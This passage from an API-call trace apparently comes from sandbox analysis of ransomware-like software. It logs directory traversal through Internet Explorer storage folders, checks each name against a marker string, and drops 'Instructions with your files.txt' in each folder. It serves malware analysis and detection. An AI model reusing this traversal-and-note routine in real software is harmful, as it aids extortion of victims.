[0130.519] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.519] GetProcessHeap () returned 0x810000
[0130.519] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.520] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8NES5H33", cAlternateFileName="")) returned 1
[0130.520] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33") returned 93
[0130.520] GetProcessHeap () returned 0x810000
[0130.520] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.520] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*") returned 95
[0130.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.520] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\.") returned 95
[0130.520] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.520] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.520] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\..") returned 96
[0130.520] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.520] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 1
[0130.520] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml") returned 110
[0130.520] StrStrIW (lpFirst="get.adobe[1].xml", lpSrch="SDfghjkl") returned 0x0
[0130.520] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 0
[0130.520] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\Instructions with your files.txt") returned 126
[0130.520] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.521] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.521] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.521] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.522] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.522] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.522] CloseHandle (hObject=0x120) returned 1
[0130.522] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.522] GetProcessHeap () returned 0x810000
[0130.522] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.522] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FKLUIDU0", cAlternateFileName="")) returned 1
[0130.522] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0") returned 93
[0130.522] GetProcessHeap () returned 0x810000
[0130.522] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.522] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*") returned 95
[0130.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.522] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\.") returned 95
[0130.522] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.522] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.522] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\..") returned 96
[0130.523] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.523] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.523] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\Instructions with your files.txt") returned 126
[0130.523] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\fkluidu0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.523] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.524] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.524] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.524] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.524] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.524] CloseHandle (hObject=0x120) returned 1
[0130.524] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.524] GetProcessHeap () returned 0x810000
[0130.524] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.524] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x125db390, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
[0130.524] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned 94
[0130.524] StrStrIW (lpFirst="index.dat", lpSrch="SDfghjkl") returned 0x0
[0130.524] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 1
[0130.524] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC") returned 93
[0130.524] GetProcessHeap () returned 0x810000
[0130.524] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.524] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*") returned 95
[0130.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.525] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\.") returned 95
[0130.525] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.525] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.525] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\..") returned 96
[0130.525] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.525] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.525] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\Instructions with your files.txt") returned 126
[0130.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\owlvmzrc\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.525] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.526] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.526] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.526] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.526] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.526] CloseHandle (hObject=0x120) returned 1
[0130.527] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.527] GetProcessHeap () returned 0x810000
[0130.527] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.527] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 0
[0130.527] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\Instructions with your files.txt") returned 117
[0130.527] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.529] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.530] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.530] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.530] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.530] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.530] CloseHandle (hObject=0x11c) returned 1
[0130.530] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.530] GetProcessHeap () returned 0x810000
[0130.530] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.531] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65d58120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65d58120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65d58120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1
[0130.531] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat") returned 94
[0130.531] StrStrIW (lpFirst="frameiconcache.dat", lpSrch="SDfghjkl") returned 0x0
[0130.531] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95014270, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0x95014270, ftLastAccessTime.dwHighDateTime=0x1d2fab5, ftLastWriteTime.dwLowDateTime=0x95014270, ftLastWriteTime.dwHighDateTime=0x1d2fab5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1
[0130.531] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT") returned 88
[0130.531] StrStrIW (lpFirst="MSIMGSIZ.DAT", lpSrch="SDfghjkl") returned 0x0
[0130.531] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
[0130.531] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery") returned 84
[0130.531] GetProcessHeap () returned 0x810000
[0130.531] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.532] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*") returned 86
[0130.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
